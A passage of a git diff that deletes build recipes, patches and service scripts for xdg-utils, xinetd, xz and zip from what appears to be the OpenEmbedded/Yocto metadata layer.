69- exit_success
70- else
71- exit_failure_operation_failed
72- fi
73-}
74-
75 open_kde()
76 {
77 if [ -n "$KDE_SESSION_VERSION" ] && [ "$KDE_SESSION_VERSION" -ge 5 ]; then
78@@ -130,15 +83,6 @@ open_kde()
79
80 open_gnome3()
81 {
82- local client
83- local desktop
84- desktop=`xdg-mime query default "x-scheme-handler/mailto"`
85- client=`desktop_file_to_binary "$desktop"`
86- echo $client | grep -E 'thunderbird|icedove' > /dev/null 2>&1
87- if [ $? -eq 0 ] ; then
88- run_thunderbird "$client" "$1"
89- fi
90-
91 if gio help open 2>/dev/null 1>&2; then
92 DEBUG 1 "Running gio open \"$1\""
93 gio open "$1"
94@@ -159,13 +103,6 @@ open_gnome3()
95
96 open_gnome()
97 {
98- local client
99- client=`gconftool-2 --get /desktop/gnome/url-handlers/mailto/command | cut -d ' ' -f 1` || ""
100- echo $client | grep -E 'thunderbird|icedove' > /dev/null 2>&1
101- if [ $? -eq 0 ] ; then
102- run_thunderbird "$client" "$1"
103- fi
104-
105 if gio help open 2>/dev/null 1>&2; then
106 DEBUG 1 "Running gio open \"$1\""
107 gio open "$1"
108@@ -231,15 +168,6 @@ open_flatpak()
109
110 open_generic()
111 {
112- local client
113- local desktop
114- desktop=`xdg-mime query default "x-scheme-handler/mailto"`
115- client=`desktop_file_to_binary "$desktop"`
116- echo $client | grep -E 'thunderbird|icedove' > /dev/null 2>&1
117- if [ $? -eq 0 ] ; then
118- run_thunderbird "$client" "$1"
119- fi
120-
121 xdg-open "$1"
122 local ret=$?
123
124@@ -364,21 +292,6 @@ while [ $# -gt 0 ] ; do
125 shift
126 ;;
127
128- --attach)
129- if [ -z "$1" ] ; then
130- exit_failure_syntax "file argument missing for --attach option"
131- fi
132- check_input_file "$1"
133- file=`readlink -f "$1"` # Normalize path
134- if [ -z "$file" ] || [ ! -f "$file" ] ; then
135- exit_failure_file_missing "file '$1' does not exist"
136- fi
137-
138- url_encode "$file"
139- options="${options}attach=${result}&"
140- shift
141- ;;
142-
143 -*)
144 exit_failure_syntax "unexpected option '$parm'"
145 ;;
diff --git a/meta/recipes-extended/xdg-utils/xdg-utils_1.1.3.bb b/meta/recipes-extended/xdg-utils/xdg-utils_1.1.3.bb
deleted file mode 100644
index 3ee320da5a..0000000000
--- a/meta/recipes-extended/xdg-utils/xdg-utils_1.1.3.bb
+++ /dev/null
@@ -1,38 +0,0 @@
1SUMMARY = "Basic desktop integration functions"
2HOMEPAGE = "https://www.freedesktop.org/wiki/Software/xdg-utils/"
3DESCRIPTION = "The xdg-utils package is a set of simple scripts that provide basic \
4desktop integration functions for any Free Desktop, such as Linux. \
5They are intended to provide a set of defacto standards. \
6The following scripts are provided at this time: \
7xdg-desktop-icon \
8xdg-desktop-menu \
9xdg-email \
10xdg-icon-resource \
11xdg-mime \
12xdg-open \
13xdg-screensaver \
14xdg-terminal \
15"
16
17LICENSE = "MIT"
18LIC_FILES_CHKSUM = "file://LICENSE;md5=a5367a90934098d6b05af3b746405014"
19
20SRC_URI = "https://portland.freedesktop.org/download/${BPN}-${PV}.tar.gz \
21 file://0001-Reinstate-xdg-terminal.patch \
22 file://0001-Don-t-build-the-in-script-manual.patch \
23 file://1f199813e0eb0246f63b54e9e154970e609575af.patch \
24 file://CVE-2022-4055.patch \
25 "
26
27SRC_URI[sha256sum] = "d798b08af8a8e2063ddde6c9fa3398ca81484f27dec642c5627ffcaa0d4051d9"
28
29UPSTREAM_CHECK_REGEX = "xdg-utils-(?P<pver>((\d+[\.\-_]*)+)((rc|alpha|beta)\d+)?)\.(tar\.gz|tgz)"
30
31# Needs brokensep as this doesn't use automake
32inherit autotools-brokensep features_check
33
34# The xprop requires x11 in DISTRO_FEATURES
35REQUIRED_DISTRO_FEATURES = "x11"
36
37DEPENDS = "xmlto-native libxslt-native"
38RDEPENDS:${PN} += "xprop"
diff --git a/meta/recipes-extended/xinetd/xinetd/0001-Use-monotonic-time.patch b/meta/recipes-extended/xinetd/xinetd/0001-Use-monotonic-time.patch
deleted file mode 100644
index ee997fd28f..0000000000
--- a/meta/recipes-extended/xinetd/xinetd/0001-Use-monotonic-time.patch
+++ /dev/null
@@ -1,325 +0,0 @@
1From 753aa53e817d29e979c2a2fca7da40a3d115f93c Mon Sep 17 00:00:00 2001
2From: Li Wang <li.wang@windriver.com>
3Date: Tue, 3 Sep 2024 15:21:52 +0800
4Subject: [PATCH] Use monotonic time
5
6When using xinet.d to limit rsync connections, it can't handle changes
7in system time. When time is set back, the connection limit is reached
8very quickly and rsync gets deactivated, if time is changed again, rsync
9is never reactivated.
10
11The current timer of xinet.d is based on the time() and is affected by
12the system time. Use clock_gettime() with CLOCK_MONOTONIC as the new
13timer because CLOCK_MONOTONIC clock is not affected by discontinuous
14jumps in the system time.
15
16Upstream-Status: Submitted [https://github.com/openSUSE/xinetd/pull/48]
17
18Signed-off-by: Li Wang <li.wang@windriver.com>
19---
20 src/access.c | 6 +++---
21 src/builtins.c | 5 +++--
22 src/internals.c | 2 +-
23 src/log.c | 3 ++-
24 src/sensor.c | 6 +++---
25 src/server.c | 3 ++-
26 src/service.c | 5 +++--
27 src/signals.c | 2 +-
28 src/time.c | 3 ++-
29 src/xlog/filelog.c | 3 ++-
30 src/xtimer.c | 15 ++++++++++++---
31 src/xtimer.h | 1 +
32 12 files changed, 35 insertions(+), 19 deletions(-)
33
34diff --git a/src/access.c b/src/access.c
35index e942db7..eb9da6e 100644
36--- a/src/access.c
37+++ b/src/access.c
38@@ -70,7 +70,7 @@ static void cps_service_restart(void)
39 time_t nowtime;
40 const char *func = "cps_service_restart";
41
42- nowtime = time(NULL);
43+ nowtime = _time(NULL);
44 for( i=0; i < pset_count( SERVICES(ps) ); i++ ) {
45 struct service *sp;
46 struct service_config *scp;
47@@ -104,7 +104,7 @@ void cps_service_stop(struct service *sp, const char *reason)
48 msg(LOG_ERR, "service_stop",
49 "Deactivating service %s due to %s. Restarting in %d seconds.",
50 SC_NAME(scp), reason, (int)SC_TIME_WAIT(scp));
51- nowtime = time(NULL);
52+ nowtime = _time(NULL);
53 SC_TIME_REENABLE(scp) = nowtime + SC_TIME_WAIT(scp);
54 xtimer_add(cps_service_restart, SC_TIME_WAIT(scp));
55 }
56@@ -284,7 +284,7 @@ access_e parent_access_control( struct service *sp, const connection_s *cp )
57 /* CPS handler */
58 if( SC_TIME_CONN_MAX(scp) != 0 ) {
59 int time_diff;
60- nowtime = time(NULL);
61+ nowtime = _time(NULL);
62 time_diff = nowtime - SC_TIME_LIMIT(scp) ;
63
64 if( SC_TIME_CONN(scp) == 0 ) {
65diff --git a/src/builtins.c b/src/builtins.c
66index 042e5dc..c285a02 100644
67--- a/src/builtins.c
68+++ b/src/builtins.c
69@@ -36,6 +36,7 @@
70 #include "nvlists.h"
71 #include "child.h"
72 #include "access.h"
73+#include "xtimer.h"
74
75 #define BUFFER_SIZE 1024
76
77@@ -237,7 +238,7 @@ static void daytime_protocol( char *buf, unsigned int *buflen )
78 int size = *buflen ;
79 int cc ;
80
81- (void) time( &now ) ;
82+ (void) _time( &now ) ;
83 tmp = localtime( &now ) ;
84 cc = strx_nprint( buf, size,
85 "%02d %s %d %02d:%02d:%02d",
86@@ -308,7 +309,7 @@ static void time_protocol( unsigned char *timep )
87 time_t now ;
88 unsigned long base1900;
89
90- (void) time( &now ) ;
91+ (void) _time( &now ) ;
92 base1900 = (unsigned long)now + TIME_OFFSET ;
93 timep[0] = base1900 >> 24;
94 timep[1] = base1900 >> 16;
95diff --git a/src/internals.c b/src/internals.c
96index c5ed4f8..6a19207 100644
97--- a/src/internals.c
98+++ b/src/internals.c
99@@ -85,7 +85,7 @@ void dump_internal_state(void)
100 * Print the program name, version, and timestamp.
101 * Note that the program_version variable contains the program name.
102 */
103- (void) time( &current_time ) ;
104+ (void) _time( &current_time ) ;
105 Sprint( dump_fd, "INTERNAL STATE DUMP: %s\n", program_version ) ;
106 Sprint( dump_fd, "Current time: %s\n", ctime( &current_time ) ) ;
107
108diff --git a/src/log.c b/src/log.c
109index b66ab24..7aba30d 100644
110--- a/src/log.c
111+++ b/src/log.c
112@@ -21,6 +21,7 @@
113 #include "sconf.h"
114 #include "sconst.h"
115 #include "msg.h"
116+#include "xtimer.h"
117
118
119 #define LOGBUF_SIZE 1024
120@@ -202,7 +203,7 @@ void svc_log_exit( struct service *sp, const struct server *serp )
121 {
122 time_t current_time ;
123
124- (void) time( &current_time ) ;
125+ (void) _time( &current_time ) ;
126 cc = strx_nprint( &buf[ len ], bufsize, " duration=%ld(sec)",
127 (long)(current_time - SERVER_STARTTIME( serp )) ) ;
128 len += cc ;
129diff --git a/src/sensor.c b/src/sensor.c
130index cd85806..24bd816 100644
131--- a/src/sensor.c
132+++ b/src/sensor.c
133@@ -68,7 +68,7 @@ void process_sensor( const struct service *sp, const union xsockaddr *addr)
134 time_t nowtime;
135 char time_buf[40], *tmp;
136
137- nowtime = time(NULL);
138+ nowtime = _time(NULL);
139 msg(LOG_CRIT, func,
140 "Adding %s to the global_no_access list for %d minutes",
141 dup_addr, SC_DENY_TIME(SVC_CONF(sp)));
142@@ -113,7 +113,7 @@ void process_sensor( const struct service *sp, const union xsockaddr *addr)
143 {
144 time_t nowtime, new_time;
145
146- nowtime = time(NULL);
147+ nowtime = _time(NULL);
148 new_time = (time_t)nowtime+(60*SC_DENY_TIME(SVC_CONF(sp))); if (difftime(new_time, (time_t)stored_time) > 0.0)
149 { /* new_time is longer save it */
150 char time_buf[40], *new_exp_time;
151@@ -163,7 +163,7 @@ static void scrub_global_access_list( void )
152 {
153 int found_one = 0;
154 unsigned u;
155- time_t nowtime = time(NULL);
156+ time_t nowtime = _time(NULL);
157
158 for (u=0; u < count; u++)
159 {
160diff --git a/src/server.c b/src/server.c
161index 4c4a2b8..e201a57 100644
162--- a/src/server.c
163+++ b/src/server.c
164@@ -30,6 +30,7 @@
165 #include "retry.h"
166 #include "child.h"
167 #include "signals.h"
168+#include "xtimer.h"
169
170
171 #define NEW_SERVER() NEW( struct server )
172@@ -228,7 +229,7 @@ status_e server_start( struct server *serp )
173 return( FAILED ) ;
174
175 default:
176- (void) time( &SERVER_STARTTIME(serp) ) ;
177+ (void) _time( &SERVER_STARTTIME(serp) ) ;
178 SVC_INC_RUNNING_SERVERS( sp ) ;
179
180 /*
181diff --git a/src/service.c b/src/service.c
182index 93c2162..04422c3 100644
183--- a/src/service.c
184+++ b/src/service.c
185@@ -43,6 +43,7 @@
186 #include "logctl.h"
187 #include "xconfig.h"
188 #include "special.h"
189+#include "xtimer.h"
190
191
192 #define NEW_SVC() NEW( struct service )
193@@ -840,7 +841,7 @@ static status_e failed_service(struct service *sp,
194 SVC_LAST_DGRAM_ADDR(sp) = (union xsockaddr *)last;
195 }
196
197- (void) time( &current_time ) ;
198+ (void) _time( &current_time ) ;
199 if ( sinp->sin_addr.s_addr == last->sin_addr.s_addr &&
200 sinp->sin_port == last->sin_port )
201 {
202@@ -867,7 +868,7 @@ static status_e failed_service(struct service *sp,
203 SVC_LAST_DGRAM_ADDR( sp ) = (union xsockaddr *)last;
204 }
205
206- (void) time( &current_time ) ;
207+ (void) _time( &current_time ) ;
208 if ( IN6_ARE_ADDR_EQUAL(&(sinp->sin6_addr), &(last->sin6_addr)) &&
209 sinp->sin6_port == last->sin6_port )
210 {
211diff --git a/src/signals.c b/src/signals.c
212index 3c42db3..4160e6d 100644
213--- a/src/signals.c
214+++ b/src/signals.c
215@@ -301,7 +301,7 @@ static void bad_signal(void)
216 else if ( total_signal_count > MAX_SIGNAL_COUNT )
217 _exit( 1 ) ; /* in case of a problem in exit(3) */
218
219- (void) time( &current_time ) ;
220+ (void) _time( &current_time ) ;
221
222 if ( interval_signal_count > 0 &&
223 current_time - interval_start <= SIGNAL_INTERVAL )
224diff --git a/src/time.c b/src/time.c
225index a4d63fb..68142b0 100644
226--- a/src/time.c
227+++ b/src/time.c
228@@ -16,6 +16,7 @@
229 #include "timex.h"
230 #include "msg.h"
231 #include "util.h"
232+#include "xtimer.h"
233
234
235 #define IN_RANGE( val, low, high ) ( (low) <= (val) && (val) <= (high) )
236@@ -41,7 +42,7 @@ bool_int ti_current_time_check( const pset_h intervals )
237 int16_t min_current ;
238 struct tm *tmp ;
239
240- (void) time( &current_time ) ;
241+ (void) _time( &current_time ) ;
242 tmp = localtime( &current_time ) ;
243 min_current = tmp->tm_hour * 60 + tmp->tm_min ;
244
245diff --git a/src/xlog/filelog.c b/src/xlog/filelog.c
246index ee688e5..46cf1e2 100644
247--- a/src/xlog/filelog.c
248+++ b/src/xlog/filelog.c
249@@ -25,6 +25,7 @@
250 #include "str.h"
251 #include "xlog.h"
252 #include "filelog.h"
253+#include "xtimer.h"
254
255 static int filelog_init(xlog_s *, va_list) ;
256 static void filelog_fini(xlog_s *) ;
257@@ -190,7 +191,7 @@ static int filelog_write( xlog_s *xp, const char buf[], int len, int flags,
258 if ( flp->fl_state != FL_OPEN )
259 return( flp->fl_error ) ;
260
261- (void) time( &current_time ) ;
262+ (void) _time( &current_time ) ;
263 tmp = localtime( &current_time ) ;
264 cc = Sprint( flp->fl_fd, "%02d/%d/%d@%02d:%02d:%02d",
265 tmp->tm_year%100, tmp->tm_mon+1, tmp->tm_mday,
266diff --git a/src/xtimer.c b/src/xtimer.c
267index 2053ef4..7a125d8 100644
268--- a/src/xtimer.c
269+++ b/src/xtimer.c
270@@ -11,6 +11,15 @@
271 #include "pset.h"
272 #include "msg.h"
273
274+time_t _time(time_t *t)
275+{
276+ struct timespec ts;
277+ clock_gettime(CLOCK_MONOTONIC, &ts);
278+ if(t)
279+ *t = ts.tv_sec;
280+ return ts.tv_sec;
281+}
282+
283 /* A note on the usage of timers in these functions:
284 * The timers are composed of 3 elements, a pointer to a callback function,
285 * the expire time of the timer, and a unique (pseudo-monotomically increasing)
286@@ -68,7 +77,7 @@ int xtimer_add( void (*func)(void), time_t secs )
287 return -1;
288 }
289
290- tmptime = time(NULL);
291+ tmptime = _time(NULL);
292 if( tmptime == -1 ) {
293 free( new_xtimer );
294 return -1;
295@@ -107,7 +116,7 @@ int xtimer_poll(void)
296
297 for( i = 0; i < pset_count( xtimer_list ); i++ ) {
298 xtime_h *cur_timer = pset_pointer( xtimer_list, i );
299- time_t cur_time = time(NULL);
300+ time_t cur_time = _time(NULL);
301
302 /* The list is sorted, low to high. If there's no
303 * timers left, return.
304@@ -163,7 +172,7 @@ time_t xtimer_nexttime(void)
305 if( pset_count(xtimer_list) == 0 )
306 return -1;
307
308- ret = ((xtime_h *)pset_pointer(xtimer_list, 0))->when - time(NULL) ;
309+ ret = ((xtime_h *)pset_pointer(xtimer_list, 0))->when - _time(NULL) ;
310 if( ret < 0 )
311 ret = 0;
312 return( ret );
313diff --git a/src/xtimer.h b/src/xtimer.h
314index b0f8451..3ba0d0a 100644
315--- a/src/xtimer.h
316+++ b/src/xtimer.h
317@@ -22,4 +22,5 @@ int xtimer_poll(void);
318 int xtimer_remove(int);
319 time_t xtimer_nexttime(void);
320
321+time_t _time(time_t *t);
322 #endif /* _X_TIMER_H */
323--
3242.34.1
325
diff --git a/meta/recipes-extended/xinetd/xinetd/xinetd.default b/meta/recipes-extended/xinetd/xinetd/xinetd.default
deleted file mode 100644
index 20a38e3f3e..0000000000
--- a/meta/recipes-extended/xinetd/xinetd/xinetd.default
+++ /dev/null
@@ -1,12 +0,0 @@
1# Default settings for xinetd. This file is sourced by /bin/sh from
2# /etc/init.d/xinetd
3
4# enable xinetd Inetd compat mode
5INETD_COMPAT=Yes
6
7# Options to pass to xinetd
8#
9# -stayalive comes by default : it can be removed if xinetd is expected
10# not to start when no service is configured
11#
12XINETD_OPTS="-stayalive"
diff --git a/meta/recipes-extended/xinetd/xinetd/xinetd.init b/meta/recipes-extended/xinetd/xinetd/xinetd.init
deleted file mode 100644
index 777c2c8b46..0000000000
--- a/meta/recipes-extended/xinetd/xinetd/xinetd.init
+++ /dev/null
@@ -1,64 +0,0 @@
1#!/bin/sh
2#
3# /etc/init.d/xinetd -- script to start and stop xinetd.
4
5# Source function library.
6. /etc/init.d/functions
7
8if test -f /etc/default/xinetd; then
9 . /etc/default/xinetd
10fi
11
12
13test -x /usr/sbin/xinetd || exit 0
14
15checkportmap () {
16 if grep "^[^ *#]" /etc/xinetd.conf | grep -q 'rpc/'; then
17 if ! rpcinfo -u localhost portmapper >/dev/null 2>&1; then
18 echo
19 echo "WARNING: portmapper inactive - RPC services unavailable!"
20 echo " Commenting out or removing the RPC services from"
21 echo " the /etc/xinetd.conf file will remove this message."
22 echo
23 fi
24 fi
25}
26
27case "$1" in
28 start)
29 checkportmap
30 echo -n "Starting internet superserver: xinetd"
31 start-stop-daemon --start --quiet --background --exec /usr/sbin/xinetd -- -pidfile /var/run/xinetd.pid $XINETD_OPTS
32 echo "."
33 ;;
34 stop)
35 echo -n "Stopping internet superserver: xinetd"
36 start-stop-daemon --stop --signal 3 --quiet --exec /usr/sbin/xinetd
37 echo "."
38 ;;
39 status)
40 status /usr/sbin/xinetd;
41 exit $?
42 ;;
43 reload)
44 echo -n "Reloading internet superserver configuration: xinetd"
45 start-stop-daemon --stop --signal 1 --quiet --exec /usr/sbin/xinetd
46 echo "."
47 ;;
48 force-reload)
49 echo "$0 force-reload: Force Reload is deprecated"
50 echo -n "Forcefully reloading internet superserver configuration: xinetd"
51 start-stop-daemon --stop --signal 1 --quiet --exec /usr/sbin/xinetd
52 echo "."
53 ;;
54 restart)
55 $0 stop
56 $0 start
57 ;;
58 *)
59 echo "Usage: /etc/init.d/xinetd {start|stop|status|reload|force-reload|restart}"
60 exit 1
61 ;;
62esac
63
64exit 0
diff --git a/meta/recipes-extended/xinetd/xinetd/xinetd.service b/meta/recipes-extended/xinetd/xinetd/xinetd.service
deleted file mode 100644
index 6da92f2bf5..0000000000
--- a/meta/recipes-extended/xinetd/xinetd/xinetd.service
+++ /dev/null
@@ -1,10 +0,0 @@
1[Unit]
2Description=Xinetd A Powerful Replacement For Inetd
3After=syslog.target network.target
4
5[Service]
6EnvironmentFile=-/etc/sysconfig/xinetd
7ExecStart=@SBINDIR@/xinetd -dontfork "$EXTRAOPTIONS"
8
9[Install]
10WantedBy=multi-user.target
diff --git a/meta/recipes-extended/xinetd/xinetd_2.3.15.4.bb b/meta/recipes-extended/xinetd/xinetd_2.3.15.4.bb
deleted file mode 100644
index 2f727128a5..0000000000
--- a/meta/recipes-extended/xinetd/xinetd_2.3.15.4.bb
+++ /dev/null
@@ -1,53 +0,0 @@
1SUMMARY = "Socket-based service activation daemon"
2HOMEPAGE = "https://github.com/xinetd-org/xinetd"
3DESCRIPTION = "xinetd is a powerful replacement for inetd, xinetd has access control mechanisms, extensive logging capabilities, the ability to make services available based on time, can place limits on the number of servers that can be started, and has deployable defence mechanisms to protect against port scanners, among other things."
4
5LICENSE = "xinetd"
6LIC_FILES_CHKSUM = "file://COPYRIGHT;md5=55c5fdf02cfcca3fc9621b6f2ceae10f"
7
8UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>\d+(\.\d+)+)"
9
10SRC_URI = "git://github.com/openSUSE/xinetd.git;protocol=https;branch=master \
11 file://0001-Use-monotonic-time.patch \
12 file://xinetd.init \
13 file://xinetd.default \
14 file://xinetd.service \
15 "
16
17SRCREV = "6a4af7786630ce48747d9687e2f18f45ea6684c4"
18
19# https://github.com/xinetd-org/xinetd/pull/10 is merged into this git tree revision
20CVE_STATUS[CVE-2013-4342] = "fixed-version: Fixed directly in git tree revision"
21
22inherit autotools update-rc.d systemd pkgconfig
23
24SYSTEMD_SERVICE:${PN} = "xinetd.service"
25
26INITSCRIPT_NAME = "xinetd"
27INITSCRIPT_PARAMS = "defaults"
28
29PACKAGECONFIG ??= "tcp-wrappers"
30PACKAGECONFIG[tcp-wrappers] = "--with-libwrap,,tcp-wrappers"
31
32CFLAGS += "-D_GNU_SOURCE -std=gnu17"
33
34CONFFILES:${PN} = "${sysconfdir}/xinetd.conf"
35
36do_install:append() {
37 install -d "${D}${sysconfdir}/init.d"
38 install -d "${D}${sysconfdir}/default"
39 install -m 755 "${UNPACKDIR}/xinetd.init" "${D}${sysconfdir}/init.d/xinetd"
40 install -m 644 "${UNPACKDIR}/xinetd.default" "${D}${sysconfdir}/default/xinetd"
41
42 # Install systemd unit files
43 install -d ${D}${systemd_system_unitdir}
44 install -m 0644 ${UNPACKDIR}/xinetd.service ${D}${systemd_system_unitdir}
45 sed -i -e 's,@BASE_BINDIR@,${base_bindir},g' \
46 -e 's,@SBINDIR@,${sbindir},g' \
47 ${D}${systemd_system_unitdir}/xinetd.service
48}
49
50# Script for converting inetd.conf files into xinetd.conf files
51PACKAGES =+ "${PN}-xconv"
52FILES:${PN}-xconv = "${bindir}/xconv.pl"
53RDEPENDS:${PN}-xconv += "perl"
diff --git a/meta/recipes-extended/xz/xz/run-ptest b/meta/recipes-extended/xz/xz/run-ptest
deleted file mode 100644
index cc8ba92016..0000000000
--- a/meta/recipes-extended/xz/xz/run-ptest
+++ /dev/null
@@ -1,26 +0,0 @@
1#!/bin/bash
2
3ptestdir=$(dirname "$(readlink -f "$0")")
4cd "$ptestdir"/tests || exit
5
6# executables test cases
7tests_exec=$(file $(ls test_*) | grep "ELF" | awk -F: '{print $1}')
8for i in ${tests_exec}; do
9 ./$i
10done
11
12# POSIX shell script test cases
13export srcdir=${ptestdir}/tests
14test_shell="test_files.sh test_scripts.sh test_compress.sh"
15for j in ${test_shell}; do
16 if [ $j == "test_compress.sh" ]; then
17 ./$j create_compress_files
18 else
19 ./$j
20 fi
21 if [ $? -eq 0 ]; then
22 echo "PASS: $j"
23 else
24 echo "FAIL: $j"
25 fi
26done
diff --git a/meta/recipes-extended/xz/xz_5.8.1.bb b/meta/recipes-extended/xz/xz_5.8.1.bb
deleted file mode 100644
index 406ecbbec4..0000000000
--- a/meta/recipes-extended/xz/xz_5.8.1.bb
+++ /dev/null
@@ -1,72 +0,0 @@
1SUMMARY = "Utilities for managing LZMA compressed files"
2HOMEPAGE = "https://tukaani.org/xz/"
3DESCRIPTION = "XZ Utils is free general-purpose data compression software with a high compression ratio. XZ Utils were written for POSIX-like systems, but also work on some not-so-POSIX systems. XZ Utils are the successor to LZMA Utils."
4SECTION = "base"
5
6# The source includes bits of 0BSD, GPL-2.0, GPL-3.0, LGPL-2.1-or-later, but the
7# only file which is GPL-3.0 is an m4 macro which isn't shipped in any of our
8# packages, and the LGPL bits are under lib/, which appears to be used for
9# libgnu, which appears to be used for DOS builds. So we're left with
10# GPL-2.0-or-later and 0BSD.
11LICENSE = "GPL-2.0-or-later & GPL-3.0-with-autoconf-exception & LGPL-2.1-or-later & 0BSD"
12LICENSE:${PN} = "0BSD & GPL-2.0-or-later"
13LICENSE:${PN}-dev = "0BSD & GPL-2.0-or-later"
14LICENSE:${PN}-staticdev = "GPL-2.0-or-later"
15LICENSE:${PN}-doc = "0BSD & GPL-2.0-or-later"
16LICENSE:${PN}-dbg = "GPL-2.0-or-later"
17LICENSE:${PN}-locale = "GPL-2.0-or-later"
18LICENSE:liblzma = "0BSD"
19
20LIC_FILES_CHKSUM = "file://COPYING;md5=d38d562f6112174de93a9677682231b2 \
21 file://COPYING.0BSD;md5=0672c210ce80c83444339b9aa31fee2f \
22 file://COPYING.GPLv2;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
23 file://COPYING.GPLv3;md5=1ebbd3e34237af26da5dc08a4e440464 \
24 file://COPYING.LGPLv2.1;md5=4fbd65380cdd255951079008b364516c \
25 file://lib/getopt.c;endline=23;md5=3f33e207287bf72834f3ae8c247dfb6a \
26 "
27
28SRC_URI = "https://github.com/tukaani-project/xz/releases/download/v${PV}/xz-${PV}.tar.gz \
29 file://run-ptest \
30 "
31SRC_URI[sha256sum] = "507825b599356c10dca1cd720c9d0d0c9d5400b9de300af00e4d1ea150795543"
32UPSTREAM_CHECK_REGEX = "releases/tag/v(?P<pver>\d+(\.\d+)+)"
33UPSTREAM_CHECK_URI = "https://github.com/tukaani-project/xz/releases/"
34
35CACHED_CONFIGUREVARS += "gl_cv_posix_shell=/bin/sh"
36
37inherit autotools gettext ptest
38
39PACKAGECONFIG[landlock] = "--enable-sandbox=landlock,--enable-sandbox=no"
40
41PACKAGES =+ "liblzma"
42
43FILES:liblzma = "${libdir}/liblzma*${SOLIBS}"
44
45inherit update-alternatives
46ALTERNATIVE_PRIORITY = "100"
47ALTERNATIVE:${PN} = "xz xzcat unxz \
48 lzma lzcat unlzma"
49
50BBCLASSEXTEND = "native nativesdk"
51
52RDEPENDS:${PN}-ptest += "bash file"
53
54do_compile_ptest() {
55 oe_runmake check TESTS=
56}
57
58do_install_ptest () {
59 install -d ${D}${PTEST_PATH}/tests
60 find ${B}/tests/.libs -type f -executable -exec cp {} ${D}${PTEST_PATH}/tests \;
61 cp ${B}/config.h ${D}${PTEST_PATH}
62 for i in files xzgrep_expected_output test_files.sh test_scripts.sh test_compress.sh; do
63 cp -r ${S}/tests/$i ${D}${PTEST_PATH}/tests
64 done
65 mkdir -p ${D}${PTEST_PATH}/src/xz
66 ln -s ${bindir}/xz ${D}${PTEST_PATH}/src/xz/xz
67 mkdir -p ${D}${PTEST_PATH}/src/xzdec
68 ln -s ${bindir}/xzdec ${D}${PTEST_PATH}/src/xzdec/xzdec
69 mkdir -p ${D}${PTEST_PATH}/src/scripts
70 ln -s ${bindir}/xzdiff ${D}${PTEST_PATH}/src/scripts/xzdiff
71 ln -s ${bindir}/xzgrep ${D}${PTEST_PATH}/src/scripts/xzgrep
72}
diff --git a/meta/recipes-extended/zip/zip-3.0/0001-configure-Include-dirent.h-for-closedir-opendir-APIs.patch b/meta/recipes-extended/zip/zip-3.0/0001-configure-Include-dirent.h-for-closedir-opendir-APIs.patch
deleted file mode 100644
index 0d3af37ded..0000000000
--- a/meta/recipes-extended/zip/zip-3.0/0001-configure-Include-dirent.h-for-closedir-opendir-APIs.patch
+++ /dev/null
@@ -1,45 +0,0 @@
1From 9db2f8cdbbc0dfb359d3b4e5dfe48c18652ce531 Mon Sep 17 00:00:00 2001
2From: Khem Raj <raj.khem@gmail.com>
3Date: Wed, 8 May 2024 19:02:46 -0700
4Subject: [PATCH] configure: Include dirent.h for closedir/opendir APIs
5MIME-Version: 1.0
6Content-Type: text/plain; charset=UTF-8
7Content-Transfer-Encoding: 8bit
8
9GCC-14 is strict about function prototypes and since the
10testcase tries to compile/link opendir/closedir functions
11without including signatures, it fails to build the test
12due to missing signatures which come from dirent.h
13
14Therefore include the needed system header and make it more
15robust.
16
17Fixes
18a.c:2:21: error: implicit declaration of function ‘closedir’ [-Wimplicit-function-declaration]
19 2 | int main() { return closedir(opendir(".")); }
20 | ^~~~~~~~
21a.c:2:30: error: implicit declaration of function ‘opendir’ [-Wimplicit-function-declaration]
22 2 | int main() { return closedir(opendir(".")); }
23 | ^~~~~~~
24
25Upstream-Status: Inactive-Upstream
26Signed-off-by: Khem Raj <raj.khem@gmail.com>
27---
28 unix/configure | 1 +
29 1 file changed, 1 insertion(+)
30
31diff --git a/unix/configure b/unix/configure
32index f917086..1dd98c6 100644
33--- a/unix/configure
34+++ b/unix/configure
35@@ -591,6 +591,7 @@ $CC $CFLAGS -c conftest.c >/dev/null 2>/dev/null
36
37 echo Check for directory libraries
38 cat > conftest.c << _EOF_
39+#include <dirent.h>
40 int main() { return closedir(opendir(".")); }
41 _EOF_
42
43--
442.45.0
45
diff --git a/meta/recipes-extended/zip/zip-3.0/0001-configure-Specify-correct-function-signatures-and-de.patch b/meta/recipes-extended/zip/zip-3.0/0001-configure-Specify-correct-function-signatures-and-de.patch
deleted file mode 100644
index a4f8382625..0000000000
--- a/meta/recipes-extended/zip/zip-3.0/0001-configure-Specify-correct-function-signatures-and-de.patch
+++ /dev/null
@@ -1,134 +0,0 @@
1From 8810f2643c9372a8083272dc1fc157427646d961 Mon Sep 17 00:00:00 2001
2From: Khem Raj <raj.khem@gmail.com>
3Date: Wed, 10 Aug 2022 17:16:23 -0700
4Subject: [PATCH 1/2] configure: Specify correct function signatures and
5 declarations
6
7Include needed system headers in configure tests, this is needed because
8newer compilers are getting stricter about the C99 specs and turning
9-Wimplicit-function-declaration into hard error e.g. clang-15+
10
11Upstream-Status: Inactive-Upstream
12Signed-off-by: Khem Raj <raj.khem@gmail.com>
13---
14 unix/configure | 79 +++++++++++++++++++++++++++++++++++++++++---------
15 1 file changed, 66 insertions(+), 13 deletions(-)
16
17diff --git a/unix/configure b/unix/configure
18index 1d9a9bb..f2b3d02 100644
19--- a/unix/configure
20+++ b/unix/configure
21@@ -513,21 +513,70 @@ $CC $CFLAGS -c conftest.c >/dev/null 2>/dev/null
22 # Check for missing functions
23 # add NO_'function_name' to flags if missing
24
25-for func in rmdir strchr strrchr rename mktemp mktime mkstemp
26-do
27- echo Check for $func
28- echo "int main(){ $func(); return 0; }" > conftest.c
29- $CC $CFLAGS $LDFLAGS $BFLAG -o conftest conftest.c >/dev/null 2>/dev/null
30- [ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNO_`echo $func | tr '[a-z]' '[A-Z]'`"
31-done
32+echo Check for rmdir
33+cat > conftest.c << _EOF_
34+#include <unistd.h>
35+int main(){ rmdir(NULL); return 0; }
36+_EOF_
37+$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
38+[ $? -ne 0 ] && CFLAGS="${CFLAGS} -DNO_RMDIR"
39+
40+echo Check for strchr
41+cat > conftest.c << _EOF_
42+#include <string.h>
43+int main(){ strchr(NULL,0); return 0; }
44+_EOF_
45+$CC $CFLAGS $LDFLAGS -o conftest conftest.c >/dev/null 2>/dev/null
